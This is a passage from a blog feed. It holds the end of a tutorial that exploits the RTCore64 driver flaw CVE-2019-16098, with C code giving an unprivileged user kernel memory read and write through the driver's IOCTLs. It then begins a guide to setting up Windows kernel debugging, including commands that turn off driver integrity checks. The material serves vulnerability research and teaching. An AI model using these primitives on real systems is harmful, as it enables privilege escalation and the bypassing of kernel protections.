	<span class="n">DWORD</span> <span class="n">Value</span><span class="p">;</span>       <span class="c1">// offset 0x1c</span>
	<span class="n">BYTE</span> <span class="n">Unknown2</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span> <span class="c1">// offset 0x20</span>
<span class="p">}</span><span class="n">RTC64_MEMORY_STRUCT</span><span class="p">,</span> <span class="o">*</span> <span class="n">PRTC64_MEMORY_STRUCT</span><span class="p">;</span>
</code></pre></div></div>
<p>Next, we create the function responsible for opening the device. It uses <code class="language-plaintext highlighter-rouge">CreateFileW</code> to obtain a handle to the symbolic link of the <code class="language-plaintext highlighter-rouge">RTCore64</code> device:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">HANDLE</span> <span class="n">hDevice</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">WCHAR</span><span class="o">*</span> <span class="n">DevicePath</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

<span class="n">BOOL</span> <span class="nf">OpenRTCoreDevice</span><span class="p">()</span> <span class="p">{</span>
	<span class="c1">// Allocate memory which will hold the device path</span>
	<span class="n">DevicePath</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPWSTR</span><span class="p">)</span><span class="n">malloc</span><span class="p">((</span><span class="n">MAX_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">WCHAR</span><span class="p">));</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">DevicePath</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Error: Couldn't allocate memory!</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">// Set DevicePath to \\.\RTCore64</span>
	<span class="n">swprintf_s</span><span class="p">(</span><span class="n">DevicePath</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">,</span> <span class="s">L"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">%ws"</span><span class="p">,</span> <span class="n">RTC64_DEVICE_NAME_W</span><span class="p">);</span>

	<span class="c1">// Open handle to the device with RW access</span>
	<span class="n">hDevice</span> <span class="o">=</span> <span class="n">CreateFileW</span><span class="p">(</span>
		<span class="n">DevicePath</span><span class="p">,</span> 
		<span class="n">GENERIC_READ</span> <span class="o">|</span> <span class="n">GENERIC_WRITE</span><span class="p">,</span> 
		<span class="mi">0</span><span class="p">,</span> 
		<span class="nb">NULL</span><span class="p">,</span> 
		<span class="n">OPEN_EXISTING</span><span class="p">,</span> 
		<span class="mi">0</span><span class="p">,</span> 
		<span class="nb">NULL</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">hDevice</span> <span class="o">==</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Error: CreateFileW error code 0x%08x</span><span class="se">\r\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Function for cleanup</span>
<span class="kt">void</span> <span class="nf">CloseRTCoreDevice</span><span class="p">()</span> <span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">DevicePath</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">free</span><span class="p">(</span><span class="n">DevicePath</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">hDevice</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hDevice</span><span class="p">);</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Following that, we define the primitive functions for reading and writing. Let’s start with the function for reading:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">RTCoreReadMemory</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">Address</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">ValueSize</span><span class="p">,</span> <span class="n">PDWORD</span> <span class="n">Value</span><span class="p">)</span> <span class="p">{</span>
	<span class="c1">// create the structure which will be passed to the driver in the input buffer</span>
	<span class="n">RTC64_MEMORY_STRUCT</span> <span class="n">memory_read</span><span class="p">;</span>
	<span class="c1">// initialize the structure to all zeroes</span>
	<span class="n">ZeroMemory</span><span class="p">(</span><span class="o">&amp;</span><span class="n">memory_read</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">memory_read</span><span class="p">));</span>

	<span class="c1">// set the target address to read from</span>
	<span class="n">memory_read</span><span class="p">.</span><span class="n">Address</span> <span class="o">=</span> <span class="n">Address</span><span class="p">;</span>
	<span class="c1">// set how much data to read</span>
	<span class="n">memory_read</span><span class="p">.</span><span class="n">Size</span> <span class="o">=</span> <span class="n">ValueSize</span><span class="p">;</span>
	
	<span class="c1">// the offset is not used, so it will be zero</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hDevice</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Device not opened!</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">// Send the IRP packet</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">DeviceIoControl</span><span class="p">(</span>
			<span class="n">hDevice</span><span class="p">,</span> 
			<span class="n">RTC64_IOCTL_MEMORY_READ</span><span class="p">,</span> <span class="c1">// the 0x80002048 IOCTL code</span>
			<span class="o">&amp;</span><span class="n">memory_read</span><span class="p">,</span>            <span class="c1">// pointer to input buffer</span>
			<span class="k">sizeof</span><span class="p">(</span><span class="n">memory_read</span><span class="p">),</span>     <span class="c1">// size of input buffer</span>
			<span class="o">&amp;</span><span class="n">memory_read</span><span class="p">,</span>            <span class="c1">// output is recieved in the same buffer</span>
			<span class="k">sizeof</span><span class="p">(</span><span class="n">memory_read</span><span class="p">),</span> 
			<span class="nb">NULL</span><span class="p">,</span> 
			<span class="nb">NULL</span><span class="p">))</span> 
		<span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Memory Read IRP Failed!</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">// The driver should've filled the Value in the structure with the data which was read</span>
	<span class="o">*</span><span class="n">Value</span> <span class="o">=</span> <span class="n">memory_read</span><span class="p">.</span><span class="n">Value</span><span class="p">;</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Now, let’s define several wrapper functions that use the primitive function to read data of different sizes, such as byte, word, dword, qword, and pointer. We’ll use <code class="language-plaintext highlighter-rouge">RTCoreRead32</code> as the base for the other functions, making it easier to extract the relevant byte for functions like <code class="language-plaintext highlighter-rouge">RTCoreRead8</code> by performing an AND operation:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">RTCoreRead32</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">Address</span><span class="p">,</span> <span class="n">PDWORD</span> <span class="n">Value</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">return</span> <span class="n">RTCoreReadMemory</span><span class="p">(</span><span class="n">Address</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">Value</span><span class="p">),</span> <span class="n">Value</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">BOOL</span> <span class="nf">RTCoreRead8</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">Address</span><span class="p">,</span> <span class="n">PBYTE</span> <span class="n">Value</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">DWORD</span> <span class="n">dwValue</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RTCoreRead32</span><span class="p">(</span><span class="n">Address</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwValue</span><span class="p">))</span> <span class="p">{</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="c1">// get the least significat byte</span>
	<span class="o">*</span><span class="n">Value</span> <span class="o">=</span> <span class="n">dwValue</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">;</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">BOOL</span> <span class="nf">RTCoreRead16</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">Address</span><span class="p">,</span> <span class="n">PWORD</span> <span class="n">Value</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">DWORD</span> <span class="n">dwValue</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RTCoreRead32</span><span class="p">(</span><span class="n">Address</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwValue</span><span class="p">))</span> <span class="p">{</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="c1">// get the least significat 2 bytes</span>
	<span class="o">*</span><span class="n">Value</span> <span class="o">=</span> <span class="n">dwValue</span> <span class="o">&amp;</span> <span class="mh">0xffff</span><span class="p">;</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">BOOL</span> <span class="nf">RTCoreRead64</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">Address</span><span class="p">,</span> <span class="n">PDWORD64</span> <span class="n">Value</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">DWORD</span> <span class="n">dwHigh</span><span class="p">,</span> <span class="n">dwLow</span><span class="p">;</span>

	<span class="c1">// read two dwords</span>
	<span class="c1">// first dword starting from target address (the low part of the 64bit value)</span>
	<span class="c1">// second dword starting 4 bytes after the first dword (the high part of the 64bit value)</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RTCoreRead32</span><span class="p">(</span><span class="n">Address</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwLow</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="n">RTCoreRead32</span><span class="p">(</span><span class="n">Address</span> <span class="o">+</span> <span class="mi">4</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwHigh</span><span class="p">))</span> <span class="p">{</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">// concatenate the two dwords into one qword</span>
	<span class="o">*</span><span class="n">Value</span> <span class="o">=</span> <span class="n">dwHigh</span><span class="p">;</span>
	<span class="o">*</span><span class="n">Value</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="n">Value</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="p">)</span> <span class="o">|</span> <span class="n">dwLow</span><span class="p">;</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// on 64bit system the pointers are 64 bit</span>
<span class="n">BOOL</span> <span class="nf">RTCoreReadPtr</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">Address</span><span class="p">,</span> <span class="n">PULONG_PTR</span> <span class="n">Value</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">return</span> <span class="n">RTCoreRead64</span><span class="p">(</span><span class="n">Address</span><span class="p">,</span> <span class="n">Value</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The primitive function for writing is similar, except for the IOCTL and the structure initialization:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">RTCoreWriteMemory</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">Address</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">ValueSize</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">Value</span><span class="p">)</span> <span class="p">{</span>
	<span class="c1">// create the structure which will be passed to the driver in the input buffer</span>
	<span class="n">RTC64_MEMORY_STRUCT</span> <span class="n">memory_write</span><span class="p">;</span>
	<span class="c1">// initialize the structure to zeroes</span>
	<span class="n">ZeroMemory</span><span class="p">(</span><span class="o">&amp;</span><span class="n">memory_write</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">memory_write</span><span class="p">));</span>

	<span class="c1">// set the target address</span>
	<span class="n">memory_write</span><span class="p">.</span><span class="n">Address</span> <span class="o">=</span> <span class="n">Address</span><span class="p">;</span>
	<span class="c1">// set the number of bytes to write</span>
	<span class="n">memory_write</span><span class="p">.</span><span class="n">Size</span> <span class="o">=</span> <span class="n">ValueSize</span><span class="p">;</span>
	<span class="c1">// set the valye to write</span>
	<span class="n">memory_write</span><span class="p">.</span><span class="n">Value</span> <span class="o">=</span> <span class="n">Value</span><span class="p">;</span>
	
	<span class="c1">// offset is not used so it will be zero</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hDevice</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Device not opened!</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">DeviceIoControl</span><span class="p">(</span>
			<span class="n">hDevice</span><span class="p">,</span> 
			<span class="n">RTC64_IOCTL_MEMORY_WRITE</span><span class="p">,</span> <span class="c1">// IOCTL 0x8000204c</span>
			<span class="o">&amp;</span><span class="n">memory_write</span><span class="p">,</span>            <span class="c1">// the input buffer</span>
			<span class="k">sizeof</span><span class="p">(</span><span class="n">memory_write</span><span class="p">),</span>     <span class="c1">// input buffer length </span>
			<span class="o">&amp;</span><span class="n">memory_write</span><span class="p">,</span>            <span class="c1">// output buffer the same as input buffer</span>
			<span class="k">sizeof</span><span class="p">(</span><span class="n">memory_write</span><span class="p">),</span> 
			<span class="nb">NULL</span><span class="p">,</span> 
			<span class="nb">NULL</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Memory Write IRP Failed!</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Next, let’s create functions for writing values of different sizes, which will use the primitive function:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">RTCoreWrite8</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">Address</span><span class="p">,</span> <span class="n">BYTE</span> <span class="n">Value</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">return</span> <span class="n">RTCoreWriteMemory</span><span class="p">(</span><span class="n">Address</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">Value</span><span class="p">),</span> <span class="n">Value</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">BOOL</span> <span class="nf">RTCoreWrite16</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">Address</span><span class="p">,</span> <span class="n">WORD</span> <span class="n">Value</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">return</span> <span class="n">RTCoreWriteMemory</span><span class="p">(</span><span class="n">Address</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">Value</span><span class="p">),</span> <span class="n">Value</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">BOOL</span> <span class="nf">RTCoreWrite32</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">Address</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">Value</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">return</span> <span class="n">RTCoreWriteMemory</span><span class="p">(</span><span class="n">Address</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">Value</span><span class="p">),</span> <span class="n">Value</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">BOOL</span> <span class="nf">RTCoreWrite64</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">Address</span><span class="p">,</span> <span class="n">DWORD64</span> <span class="n">Value</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">DWORD</span> <span class="n">dwLow</span><span class="p">,</span> <span class="n">dwHigh</span><span class="p">;</span>

	<span class="n">dwLow</span> <span class="o">=</span> <span class="n">Value</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="p">;</span>
	<span class="n">dwHigh</span> <span class="o">=</span> <span class="p">(</span><span class="n">Value</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="p">;</span>

	<span class="k">return</span> <span class="n">RTCoreWrite32</span><span class="p">(</span><span class="n">Address</span><span class="p">,</span> <span class="n">dwLow</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">RTCoreWrite32</span><span class="p">(</span><span class="n">Address</span> <span class="o">+</span> <span class="mi">4</span><span class="p">,</span> <span class="n">dwHigh</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Finally, let’s create a main function with test code to verify that the program works:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">DWORD64</span> <span class="n">Address</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">Value</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">OpenRTCoreDevice</span><span class="p">())</span> <span class="p">{</span>
		<span class="n">CloseRTCoreDevice</span><span class="p">();</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"Input target address: "</span><span class="p">);</span>
	<span class="n">scanf_s</span><span class="p">(</span><span class="s">"%llx"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">Address</span><span class="p">);</span>
	<span class="n">RTCoreRead32</span><span class="p">((</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">Address</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">Value</span><span class="p">);</span>

	<span class="n">CloseRTCoreDevice</span><span class="p">();</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Compile it statically and lets run it on the VM with debugger attached to find an address to read and verify the value is read correctly.</p>

<p>From Windbg I decided to read the third DWORD after the address of the System process - <code class="language-plaintext highlighter-rouge">0x9fa86048</code>.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/read_test_windbg.png" alt="Windbg" class="align-center" /></p>

<p>Run the program as normal user, enter the address and… the value is correctly read.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/read_test_exe.png" alt="Windbg" class="align-center" /></p>

<p>This vulnerability turned out to be quite trivial and easy to exploit. Other driver vulnerabilities are similar in that they allow low privileged user to read/write to system memory. They can be as easy as this one, or a bit more involved to exploit - like giving access to <code class="language-plaintext highlighter-rouge">wrmsr</code>, <code class="language-plaintext highlighter-rouge">rdmsr</code> instructions, or to <code class="language-plaintext highlighter-rouge">MmMapIoSpace</code> function.</p>

<p>While writing these posts and researching the different driver vulnerabilities, I read somewhere that it’s common to find vulnerabilities in drivers that interact with hardware - measuring cpu temperature, overclocking, etc. I decided to try and find one on my own and what do you know - I found my first ever vulnerability. The third driver I checked had several vulnerabilities which were easy to spot even for someone new to this as me. I notified the vendor and I’m currently waiting for them to check it. I recommend checking the articles in the references, as they explore other drivers and vulnerabilities.</p>

<h1 id="6-references">6. References</h1>
<hr />
<ol>
  <li><a href="https://github.com/itm4n/PPLcontrol">https://github.com/itm4n/PPLcontrol</a></li>
  <li><a href="https://github.com/RedCursorSecurityConsulting/PPLKiller">https://github.com/RedCursorSecurityConsulting/PPLKiller</a></li>
  <li><a href="https://github.com/Barakat/CVE-2019-16098">https://github.com/Barakat/CVE-2019-16098</a></li>
  <li><a href="https://github.com/microsoft/Windows-driver-samples/blob/main/general/ioctl/wdm/sys/sioctl.c">https://github.com/microsoft/Windows-driver-samples/blob/main/general/ioctl/wdm/sys/sioctl.c</a></li>
  <li><a href="https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/HackSysExtremeVulnerableDriver.c">https://github.com/hacksysteam/HackSysExtremeVulnerableDriver</a></li>
  <li><a href="https://github.com/LordNoteworthy/windows-internals/blob/master/IRP%20Major%20Functions%20List.md">https://github.com/LordNoteworthy/windows-internals/blob/master/IRP%20Major%20Functions%20List.md</a></li>
  <li><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/defining-i-o-control-codes">https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/defining-i-o-control-codes</a></li>
  <li><a href="https://www-user.tu-chemnitz.de/~heha/oney_wdm/ch02c.htm">https://www-user.tu-chemnitz.de/~heha/oney_wdm/ch02c.htm</a></li>
  <li><a href="https://www.cyberark.com/resources/threat-research-blog/finding-bugs-in-windows-drivers-part-1-wdm">https://www.cyberark.com/resources/threat-research-blog/finding-bugs-in-windows-drivers-part-1-wdm</a></li>
  <li><a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/sending-commands-from-userland-to-your-kernel-driver-using-ioctl">https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/sending-commands-from-userland-to-your-kernel-driver-using-ioctl</a></li>
  <li><a href="https://www.bussink.net/ioctl-demistified/">https://www.bussink.net/ioctl-demistified/</a></li>
  <li><a href="https://voidsec.com/windows-drivers-reverse-engineering-methodology/">https://voidsec.com/windows-drivers-reverse-engineering-methodology/</a></li>
  <li><a href="https://medium.com/@b1tst0rm/one-ring-zero-to-rule-them-all-c2c9d7582d8f">https://medium.com/@b1tst0rm/one-ring-zero-to-rule-them-all-c2c9d7582d8f</a></li>
  <li><a href="https://posts.specterops.io/methodology-for-static-reverse-engineering-of-windows-kernel-drivers-3115b2efed83">https://posts.specterops.io/methodology-for-static-reverse-engineering-of-windows-kernel-drivers-3115b2efed83</a></li>
  <li><a href="https://posts.specterops.io/mimidrv-in-depth-4d273d19e148">https://posts.specterops.io/mimidrv-in-depth-4d273d19e148</a></li>
  <li><a href="https://h0mbre.github.io/atillk64_exploit/#">https://h0mbre.github.io/atillk64_exploit/#</a></li>
  <li><a href="https://h0mbre.github.io/RyzenMaster_CVE/">https://h0mbre.github.io/RyzenMaster_CVE/</a></li>
  <li><a href="http://blog.rewolf.pl/blog/?p=1630">http://blog.rewolf.pl/blog/?p=1630</a></li>
  <li><a href="http://dronesec.pw/blog/2018/05/17/dell-supportassist-local-privilege-escalation/">http://dronesec.pw/blog/2018/05/17/dell-supportassist-local-privilege-escalation/</a></li>
  <li><a href="https://blog.includesecurity.com/2022/08/reverse-engineering-windows-printer-drivers-part-2/">https://blog.includesecurity.com/2022/08/reverse-engineering-windows-printer-drivers-part-2/</a></li>
  <li><a href="https://connormcgarr.github.io/cve-2020-21551-sploit/">https://connormcgarr.github.io/cve-2020-21551-sploit/</a></li>
</ol>]]></content><author><name>Ilia Dafchev</name></author><category term="posts" /><category term="CVE-2019-16098" /><category term="driver" /><category term="vulnerability" /><category term="exploit" /><category term="kernel" /><summary type="html"><![CDATA[Driver basics and CVE-2019-16098]]></summary></entry><entry><title type="html">Environment Setup for Windows Kernel Debugging with Windbg</title><link href="https://idafchev.github.io/blog/Windows_Kernel_Debugging/" rel="alternate" type="text/html" title="Environment Setup for Windows Kernel Debugging with Windbg" /><published>2023-06-29T00:00:00+03:00</published><updated>2023-06-29T00:00:00+03:00</updated><id>https://idafchev.github.io/blog/Windows_Kernel_Debugging</id><content type="html" xml:base="https://idafchev.github.io/blog/Windows_Kernel_Debugging/"><![CDATA[<h1 id="1-introduction">1. Introduction</h1>
<hr />
<p>In this blog post, I will describe how to set up an environment for kernel debugging in Windows and provide a WinDbg command cheatsheet.<br />
I will reference some commands in subsequent posts to avoid repeating explanations.</p>

<p>When it comes to kernel debugging, it is crucial to understand that when a breakpoint is reached during the debugging process of an operating system, the entire OS freezes. Consequently, it becomes impossible to utilize a debugger within the same OS environment. Instead, a separate system is required, which connects remotely to the target OS undergoing debugging. This setup enables communication between the debugger and the target OS, ensuring that when execution is paused, your current OS remains unaffected.</p>

<h1 id="2-configuring-your-vm-debugee">2. Configuring your VM (debugee)</h1>
<hr />
<p>I am using VMware Workstation but other hypervisors should have similar options.</p>

<h2 id="kernel-debugging-with-network-communication-recommended">Kernel debugging with network communication (Recommended)</h2>
<p>2.1. Install a Windows VM and create a snapshot of its clean state<br />
2.2. Make sure the VM is using NAT networking<br />
2.3. Find your Host OS IP address<br />
2.4. Run the following powershell command in the VM and check the output for the VMs network interface</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-NetAdapterHardwareInfo -InterfaceDescription * | select Name, InterfaceDescription, DeviceType, Busnumber, Devicenumber, Functionnumber | FL
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// Example output
Name                 : Wi-Fi
InterfaceDescription : Qualcomm Atheros QCA61x4A Wireless Network Adapter
DeviceType           : PCI Express treated as PCI
Busnumber            : 8
Devicenumber         : 0
Functionnumber       : 0
</code></pre></div></div>
<p>2.5. Start the VM and run the following commands in CMD as an Administrator</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bcdedit /debug on
bcdedit /dbgsettings net hostip:w.x.y.z port:50001 key:1.2.3.4
</code></pre></div></div>

<p>2.6. In the same Admin CMD run the command below substituting <code class="language-plaintext highlighter-rouge">b.d.f</code> with the values from the powershell output</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bcdedit /set "{dbgsettings}" busparams b.d.f
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// Example command
bcdedit /set "{dbgsettings}" busparams 8.0.0
</code></pre></div></div>

<h2 id="kernel-debugging-with-named-pipes-for-communication-slow">Kernel debugging with named pipes for communication (Slow)</h2>
<p>2.1. Install a Windows VM and create a snapshot of its clean state<br />
2.2. In VMware from the VM settings add a new Serial Port from <code class="language-plaintext highlighter-rouge">Hardware &gt; Add &gt; Serial Port</code></p>

<p><img src="https://idafchev.github.io/blog/assets/images/kernel_debugging/kernel_debugging_2.png" alt="vmware_serial_port1" class="align-center" /></p>

<p>2.3. In the Serial Port configuration set the connection to use named pipe and choose a name for the pipe like <code class="language-plaintext highlighter-rouge">\\.\pipe\windebug</code></p>

<p><img src="https://idafchev.github.io/blog/assets/images/kernel_debugging/kernel_debugging_3.png" alt="vmware_serial_port2" class="align-center" /></p>

<p>2.4. Take a note of the Serial Port number as you’ll need it later. In this case it’s <code class="language-plaintext highlighter-rouge">2</code><br />
2.5. Start the VM and run the following commands in CMD as an Administrator<br />
The debugport is the Serial Port number we saw from the VM settings.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bcdedit /debug on
bcdedit /dbgsettings serial debugport:2 baudrate:115200
</code></pre></div></div>
<p>The first command enables debugging in the boot configuration.<br />
The second command specifies how the OS will communicate with the debugger.</p>

<p>If you plan to test your own drivers you can also execute:<br />
<code class="language-plaintext highlighter-rouge">bcdedit /set testsigning on</code></p>

<p>And if you want to disable driver integrity checks completely:<br />
<code class="language-plaintext highlighter-rouge">bcdedit /set nointegritychecks on</code></p>

<p><img src="https://idafchev.github.io/blog/assets/images/kernel_debugging/kernel_debugging_4.png" alt="bcdedit_commands" class="align-center" /></p>

<p>2.6 Power off the VM and create another snapshot</p>

<h1 id="3-configuring-your-devdebugger-environment">3. Configuring your dev/debugger environment</h1>
<hr />
<p>3.1. Install latest Visual Studio with the Desktop development with C++ workload<br />
3.2. Install Windows 11 SDK<br />
3.3. Install Windows 11 WDK<br />
3.4. If WDK installation prompts you to install Visual Studio extension - agree and install it.</p>

<p>For all above-mentioned steps, head over to the following page and follow the steps:<br />
<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk">https://learn.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk</a></p>

<p>3.5.1. Go to <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/">this page</a> to download and install the newest Windbg<br />
3.5.2. Another way is to go to the Windows store and install “Windbg Preview”, but this version won’t be supported anymore<br />
This is the new Windbg with modern GUI and new features</p>

<p><img src="https://idafchev.github.io/blog/assets/images/kernel_debugging/kernel_debugging_1.png" alt="windbg_preview" class="align-center" /></p>

<p>3.6.1. If using network communication, go to <code class="language-plaintext highlighter-rouge">File &gt; Attach to kernel &gt; Net</code> and fill in the key and port number<br />
